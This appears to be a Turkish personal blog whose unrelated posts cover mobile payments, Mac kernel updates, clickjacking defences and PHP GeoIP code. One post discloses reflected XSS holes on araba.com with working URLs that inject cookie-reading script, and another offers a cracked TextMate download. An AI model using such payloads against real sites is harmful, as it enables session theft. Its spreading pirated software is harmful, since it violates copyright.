Uzun bir bekleyişten sonra en sonunda Vodafone Mobil Ödeme başladı. Yakın zamanda tüm mobil ödeme servislerinin aktif edeceği Vodafone mobil ödeme ile birlikte mobil ödeme satışlarının 2 katına çıkacağını tahmin etmekteyim. Herkese hayırlı uğur olsun..

mail.araba.com sunucu üzerindeki XSS açığı :
chapter parametresinden sonra verdiğiniz kodu iframe kodu içerisine işlemekte. kaynak kodundan ne yaptığınızı görebilirsiniz.

http://mail.araba.com/hilfe.php?chapter=%22+onload=%22alert%28document.cookie%29;

http://www.araba.com/galerici_ara.html üzerindeki bug;
Yukarıdakinin aynısından.
http://www.araba.com/galerici_ara.html?keyword=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

araba.com multfileupload;

İlanınıza fotoğraf eklerken kullandıkları multiuploader’a aittir.
http://login.araba.com/ajax/ElementITMultiPowUpload2.swf?uploadUrl=/ajax/pictures_upload.php
Araba.com’a üye olduktan sonra, içeride benzer durumlarla fazlasıyla karşılaşabilirsiniz. PHP kodu çalıştıran form alanları mevcut. O kadarını burada yayınlayarak zor durumda bırak istemiyorum.

Boş beleş işler aslında. Zamanı çarçur etmekten başka birşey değil. Fakat böylesine jenerik bir adresin, böyle kurumsalımsı adamların elinde olması ve mundar edilmesi rahatsız edici. Tasarımının da bir o kadar facia olduğunu söylemeye zaten lüzum yok. Yaşasın sahibinden.com.

DİKKAT : Combo Update paketini kurduğunuzda sizden restart atmanızı isteyecektir. RESTART ATMADAN ÖNCE, Legacy Kernel 10.7 kurulumunuzu gerçekleştirmelisiniz. Combo kurulumu bittiğinde Restart butonuna basmayın, pencereyi açık tutarak legacy 10.7 ‘yi kurun ve ardından restart butonuna basın.

Update ve Legacy 10.7 kernel linkleri;
MacOSX 10.6.7 Combo Update
Legacy 10.7 Kernel Package

Kolay gelsin.

Macosx86 kurduktan sonra TextMate kullanmadan olmayacağı için ufak bir araştırma yaparak Textmate’in cracklenmiş versiyonunu buldum. İndirip Applications klasörüne kopyalayarak kullanabilirsiniz. Textmate full version indirmek için buraya tıklayabilirsiniz.

–

Hi guys,

I’m added Textmate full (cracked) version for MacOSX. (No need to serial) Click to here for download, after  move  your applications folder.

Good luck.

1Adam

Youtube ‘un yeni tasarımını http://www.youtube.com/cosmicpanda adresinden test edebilirsiniz. Kısa süre içerisinde yayına alacaklarını tahmin ediyorum.

Örnek kullanımı;

<meta http-equiv="X-Frame-Options" content="deny" />

Yukarıda verdiğimiz meta tagın bulunduğu sayfa Firefox, ie8, ie9 üzerinde iframe, object ve diğer embedding methodları ile görüntülenemeyecektir. Fakat bunda da önemli bir husus var. Bu methodun da önüne geçmek bir takım javascript kodlarıyla mümkün olabiliyor. Bunun önüne de geçebilmek için;

<noscript><meta http-equiv="X-Frame-Options" content="deny" /></noscript>

şeklinde eklenilmesi uygun olacaktır. Facebook ve diğer clickjacking mağduru sitelere bakarsanız x-frame-options’ın aynı şekilde eklenildiğini göreceksiniz. iFrame içerisinde görüntülemeye çalıştığınızda ise sayfa görüntülenemeyecektir.

Bu method ie7 versionlarda işe yaramıyor. ie7 ve altı browserlar için küçük bir javascript kodu işinizi görebilir. Onu da paylaşmış olalım;

<script>
if(top != window) {
  top.location = window.location
}
</script>

Birilerinin işini baltalarken, birilerinin çok işine yaracağı şüphesiz. Bakalım ilerleyen zamanlarda Cookiejacking ile ilgili de gelişmeler yaşanacak mı..

iPhone Programlama Dersi 1 – iOS Hakkında Bilgilendirme ve Developer Account Oluşturmak;

PHP Konum Bilgisi için, php sınıfını indirin. (zip şifresi : 1adam.com)

Örnek Kullanım;

zartzurt.php

require_once(“geop/geoip.inc.php”);
require_once(“geop/geoipregionvars.php”);
require_once(“geop/geoipcity.inc.php”);
$ip = $_SERVER['REMOTE_ADDR'];
$gicountry = geoip_open(“geop/data/geop.dat”,GEOIP_STANDARD);
preg_match(“/\b(?:\d{1,3}\.){3}\d{1,3}\b/”, $ip );
if (geoip_country_code_by_addr($gicountry, $ip) )
{
$gicity = geoip_open(“geop/data/geopsehir.dat”,GEOIP_STANDARD);
$record = geoip_record_by_addr($gicity,$ip);
geoip_close($gicity);
}
geoip_close($gicountry);

echo $record->city; // şehir bilgisi için.
var_dump($record); // Tüm değerleri görebilirsiniz.